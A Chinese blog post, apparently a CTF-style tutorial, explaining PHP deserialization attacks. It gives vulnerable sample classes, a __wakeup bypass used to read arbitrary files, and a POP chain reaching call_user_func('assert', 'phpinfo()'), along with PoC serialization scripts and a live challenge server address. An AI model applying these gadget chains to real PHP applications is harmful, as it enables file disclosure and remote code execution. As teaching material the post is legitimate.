1. 程式人生 > >php反序列化簡敘

php反序列化簡敘

可能 sof ron tps poc wro cte assert get

0x01 php簡單的反序列化

  這題是在網上看到的,原題連接不太了解,但是源碼題目給了出來,稍微下文件名和排版在本地測試

<?php
class SoFun{ 
    protected $file=‘ser.php‘;
    function __destruct(){ 
        if(!empty($this->file)) {
               if(strchr($this-> file,"\\")===false &&  strchr($this->file, ‘/‘)===false){
                
show_source(dirname (__FILE__).‘/‘.$this ->file); } } else{ die(‘Wrong filename.‘); } } function __wakeup(){ $this-> file=‘ser.php‘; } function __toString(){ return ‘‘ ; } } if(!isset($_GET[‘file‘])){
show_source(‘ser.php‘); } else{ $file=base64_decode( $_GET[‘file‘]); echo unserialize($file ); } ?>

題目的相關魔術方法調用時機

__destruct()類似於c中的析構函數,在對象被銷毀時調用

__toString()在這裏沒啥用

__wakeup()在進行反序列化的時候調用

__destruct()中讀取了文件,最終用它讀取flag, __wakeup()把讀取的文件的對應變量變成當前文件

__wakeup()在__destruct()前面調用

那麽目的是繞過__wakeup()進行__destruct()操作

對應wakeup(),存在以下問題,當序列化的字符串中描述的類的成員個數和 {} 內的成員個數不同的時候不會被調用

首先構造payload

<?php
class SoFun{ 
    protected $file=‘hello.txt‘;
  public $a = "a";
}
$add = new SoFun;
echo base64_encode(serialize($add));

運行生成base64

技術分享圖片

先將它base64解碼,然後刪除{}中a的對應序列(註意:因為protect和private存在不可見字符,所有用base64,或url編碼輸出)

技術分享圖片

最終再base64編個碼,包含進來即可,我hello.txt文件的內容即之前做題留在上面的文件(所有內容不重要,重要的是漏洞利用>_<)

技術分享圖片

0x02 PHP反序列化的進一步利用

php反序列化的知識點i春秋上的一篇文件寫的非常詳細

https://bbs.ichunqiu.com/thread-39169-1-1.html

那麽結合最後的typecho的反序列漏洞,模仿著寫了一個簡易的代碼

<?php
class C1{
    function __construct($key, $word){
        $sijidou = $key . $word;
    }
}
class C2{
    private $a2;
    function __toString(){
        echo $this->a2->ying;    
        return "hello";
    }
}
class C3{
    private $fun;
    private $parm;
    function __get($key){
        $this->run();
        return null;
    }
    function run(){
        call_user_func($this->fun, $this->parm);
    }
}
if(isset($_GET[‘ser‘])){
    $s = $_GET[‘ser‘];
    $arr = unserialize($s);
    $class1 = new C1($arr[‘siji‘],$arr[‘dou‘]);
}
else{
    highlight_file("demo.php");
}  
?>

這裏是需要構造pop鏈,來達到最終執行run()方法中的call_user_func()來達到代碼執行

構造思路是入口為ser的參數,該參數是數組

ser數組的 "siji" 和 "dou" 兩個鍵值対會被C1的中的__construct調用

該函數把參數當做字符串進行字符串使用,於是可能會調用到C2的__toString魔術方法

__toString方法裏面調用了私有成員的方法,因此又可以利用C3的__get魔術方法

而 __get魔術方法會調用到run(),從而達到代碼執行

附上我寫的poc

<?php
    class C1{
        function __construct($key, $word){
            $sijidou = $key . $word;
        }
    }

    class C2{
        private $a2;
        function __toString(){
            $this->a2->ying;    
            return "hello";
        }
        function add(){
            $this->a2 = new C3();
        }
    }

    class C3{
        private $fun = "assert";
        private $parm = "phpinfo()";
        function __get($key){
            $this->run();
        }
        function run(){
            eval($this->a3);
        }
    }
    $class2 = new C2();
    $class3 = new C3();
    $class2->add();
    $exp = array(‘siji‘ => $class2, ‘dou‘ => ‘dou‘);
    echo urlencode(serialize($exp));

?>

利用成功,成功執行phpinfo

技術分享圖片

這裏自己因為一些原因把該題目掛到了自己的服務器上,大家可以試著找找其中的flag(註:請執行看看phpinfo裏面的禁用的函數)

http://134.175.147.161:10007/

php反序列化簡敘